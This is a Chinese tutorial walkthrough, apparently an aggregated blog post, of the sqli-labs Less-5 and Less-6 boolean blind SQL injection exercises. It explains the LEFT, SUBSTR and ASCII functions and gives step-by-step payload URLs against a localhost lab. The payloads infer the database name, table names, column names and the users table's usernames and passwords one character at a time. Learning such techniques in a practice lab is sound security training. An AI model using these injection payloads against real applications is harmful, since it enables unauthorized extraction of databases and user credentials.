sqli-labs Less5-6(布尔盲注)

2023-11-18

目录

前言

 一、Less--5

1.布尔型的注入相比前四关,思路上最大的不同就是通过对错来获取对你来说有用的信息。

1.先找到注入点。

2.先判断数据库长度。

3.判断数据库名中的每一个字母是什么。

4.同样得方法测试表名。

​​5.根据第四步得出表名,推测关键信息表“users”中的列名。

​​6.可以推测users表中username和password列得具体内容。

​​ 二、Less--6

1.判断注入点,该关卡与Less5最大得不同在于注入点得改变由单引号改为双引号。


前言

布尔注入通俗的讲就是,页面会回馈两个信息对与错。我们只能根据对和错进行判断。

布尔注入补充:

ASCII_百度百科 (baidu.com)

两个函数:

  • LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH) LEFT、RIGHT函数返回ARG最左边、右边的

       LENGTH个字符串,ARG可以是CHAR或BINARY STRING

  •  substr(strings|express,m,[n])

    strings|express :被截取的字符串或字符串表达式

    m 从第m个字符开始截取

    n 截取后字符串长度为n


 一、Less--5

1.布尔型的注入相比前四关,思路上最大的不同就是通过对错来获取对你来说有用的信息。

  整体思路与前边相同,你需要用到上边提到的函数来帮助你获取你想要的信息,首先你可以通过判断语句来判断想要获取信息的长度,再根据判断获取单词的一个个字母具体是什么。

1.先找到注入点。

2.先判断数据库长度。

http://localhost/sqlilabs/Less-5/?id=1' and length(database())=8 --+

 

3.判断数据库名中的每一个字母是什么。

提示:ascii()函数可以将字符转换为对应得ascii码

判断第一位字母(这里可以使用二分法加快效率)是什么。

http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))>93 --+

 

再次判断

http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))>108 --+

​ 最终得出结果第一位字母为s(ascii码115)。

http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))=115 --+

​将left()换位substr() 逐一判断得出数据库名为security。

4.同样得方法测试表名。

测试第一个字母名称e

http://localhost/sqlilabs/Less-5/?id=1' and ascii(left((select group_concat(table_name) from information_schema.tables where table_schema='security'),1))=101 --+

​遇到","时 同理

http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),7,1))=44 --+

​5.根据第四步得出表名,推测关键信息表“users”中的列名。

http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105 --+

​6.可以推测users表中username和password列得具体内容。

http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=68 --+

​ 二、Less--6

1.判断注入点,该关卡与Less5最大得不同在于注入点得改变由单引号改为双引号。

这里偷点懒,我们直接将Less5中最后的plyalod将单引号更换为双引号,验证。

http://localhost/sqlilabs/Less-5/?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))=68 --+

​ 


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs Less5-6(布尔盲注) 的相关文章

  • APK 逆向工程 - 解析 apk 基本信息和方法调用图

    导读 在 Android 开发中 我们很少使用 Android 逆向去分析 apk 文件的 但是作为一个测试人员 我们要对这个 apk 文件进行一系列的分析 审核 测试 这篇文章讲解如何解析一个 apk 文件 主要从下面几方面介绍 解析前准
  • mysql show para_mysql中show命令的详细用法

    经过我测试的语句 show procedure status 显示数据库中所有存储的存储过程基本信息 包括所属数据库 存储过 程名称 创建时间等 show create procedure sp name 显示某一个存储过程的详细信息 a
  • MongoDB安装和批量写入

    本文主要以Ubuntu系统为例 记录安装部署MongoDB社区版 并进行批量数据写入 安装部署主要依据MongoDB官网指引 数据写入脚本为个人编写 如有需要可以直接使用 1 导入包管理系统使用的公钥 wget qO https www m
  • UML中依赖和关联,关联,聚合和组合的区别

    在UML中 依赖和关联经常无法进行区分 在类图中 不知道什么时候使用依赖 什么时候使用关联 来定义两个类之间的关系 今天看了一篇帖子 对这两种关系做了比较生动的区分 依赖指的是两个类之间发生的关系输入偶然发生的 例如人和船之间的关系就是这种
  • Video_Codec_SDK压缩编码视频并封装为MP4格式

    在深度学习处理视频过程中 通常是先解码视频获取视频帧并转为cv Mat后进行处理 本章介绍如何将处理后的图片使用GPU编码为视频码流并封装为MP4格式 开发硬件 I7 9750H GTX1660ti 操作系统 Ubuntu16 04 驱动版

随机推荐

  • 24种设计模式之单例模式(饿汉式、懒汉式)

    一 单例模式 单例模式 Singleton Pattern 是指确保一个类在任何情况下都绝对只有一个实例 并提供一个全局访问点 单例模式是创建型模式 单例模式在现实生活中应用也非常广泛 例如 总统 班主任等 J2EE标准中的ServletC
  • 理解SPDX

    SPDX The Software Package Data Exchange SPDE an open standard for communicating software bill of material information in
  • 基于RFID技术在物流仓储中的解决方案—铨顺宏FUWIT

    一 行业背景 2011年6月8日国务院出台物流行业新国八条 明确指出要推进物流技术创新和应用 加强物流新技术自主研发 加快仓储物流设备研制 制定和推广物流标准 适时启动物联网的应用示范 推进物流信息资源开放共享 物流信息化 指在物流活动中全
  • 基于Opencv的水位识别,液面识别、高度识别

    Update 代码已经上传到github上了 可以点这里 Cutting 一直说这要整理一下Computer Vision课程的大作业 拖了好久 这两天忙着写一个订单处理的第三方库 陷入了僵局 所以换个口味 把大作业整理一下 Require
  • python入门到精通 _7异常、模块与包

    文章目录 1 异常捕获 1 1 捕获常规异常 1 2 捕获指定异常 1 3 捕获多个异常 1 4 异常的finally 2 模块的导入与自定义 2 1 模块的导入 2 2 模块的自定义 3 安装第三方包与自定义 3 1 自定义包 3 2 安
  • 生成3d地图obj(可导入到ppt中使用)

    一 效果 二 使用 1 网址 https 3d mapper com MAP index php 2 注册 3 使用 创建3D地图 正在生成中 有以下设置功能 截图 管理你的地图
  • 按键松手检测 - 检测是否连续按下

    u8 KEY Scan void static u8 keyup 1 防止检测多次 if keyup KEY0 0 KEY1 0 KEY3 0 delay ms 50 去抖 if KEY0 0 KEY1 0 KEY3 0 keyup 0 i
  • 代码质量有哪些评判标准?

    描述代码质量的词 灵活性 flexibility 可扩展性 extensibility 可维护性 maintainability 可读性 readability 可理解性 understandability 易修改性 changeabili
  • Kruskal算法代码实现

    package com kruskal import java util Arrays public class KruskalCase private int edgeNum 边的个数 private char vertexs 顶点个数
  • 树莓派+8x32的MAX7219点阵模块显示字符串

    https blog csdn net zyaiwmy article details 70224250 utm source blogxgwz1 按照上面这篇文章进行配置了驱程 修改了一下示例代码 效果如下 这里记一下项目的github地
  • Entity Framework Core系列教程-2安装EF Core

    安装Entity Framework Core 这里我们将使用EF Core 3 1 因为它是长期支持版本 开发工具使用Visual Studio 2019 编写 NET Core应用程序 EF Core 3 1 支持 NET Standa
  • 华为机试题-字符串最后一个单词的长度

    计算字符串最后一个单词的长度 单词以空格隔开 字符串长度小于5000 输入描述 输入一行 代表要计算的字符串 非空 长度小于5000 输出描述 输出一个整数 表示输入字符串最后一个单词的长度 示例1 输入 hello nowcoder 复制
  • web前端笔记:html5的标签

    在HTML4 01中 lt b gt lt i gt 是视觉要素 presentationl elements 分别表示无意义的加粗 无意义的斜体 表现样式为 font weight bolder 仅仅表示 这里应该用粗体显示 或者 这里应
  • 人脸重建环境配置时的坑

    ERROR Could not install packages due to an EnvironmentError Errno 28 No space left on device 由于是docker环境 所以把 tmp目录下的文件清理
  • 《Apache MINA 2.0 用户指南》第一章:入门

    最近准备将Apache MINA 2 0 用户指南英文文档翻译给大家 但是我偶然一次百度 发现 Defonds 这位大牛已经翻译大部分文档 原文链接 http mina apache org mina project userguide c
  • [C#] 汉字转拼音,支持多音字

    这份代码大概不是严格意义上正确的 但是一般场景用用应该没问题 而且支持dotnet core public static class Pinyin region 拼音对照表 private static string py 一 yi 丁 d
  • Unity 调用系统键盘

    using System Diagnostics using UnityEngine public class KeyboardEvent MonoBehaviour private Process keyboard
  • 第十章 内部类(下)

    第十章 内部类 下 随着后面所讲的内容越来越深入 所以可能理解得比较慢了 同时这里边的文字描述和示例也越来越多 希望大家能够坚持下去 慢慢看完 相信会有所收获 当然如果像我一样一个字一个字的敲一遍 印象会更深的 不骗你 因为有的东西开始真的
  • SpringCloud Alibaba 框架背后的故事

    前言 Spring Cloud Alibaba是Spring Cloud的一个子项目 它是由阿里巴巴公司推出的 用于构建基于微服务架构的分布式应用程序的开源框架 它与Spring Cloud的其他组件 如Netflix OSS 相结合 为开
  • sqli-labs Less5-6(布尔盲注)

    目录 前言 一 Less 5 1 布尔型的注入相比前四关 思路上最大的不同就是通过对错来获取对你来说有用的信息 1 先找到注入点 2 先判断数据库长度 3 判断数据库名中的每一个字母是什么 4 同样得方法测试表名 5 根据第四步得出表名 推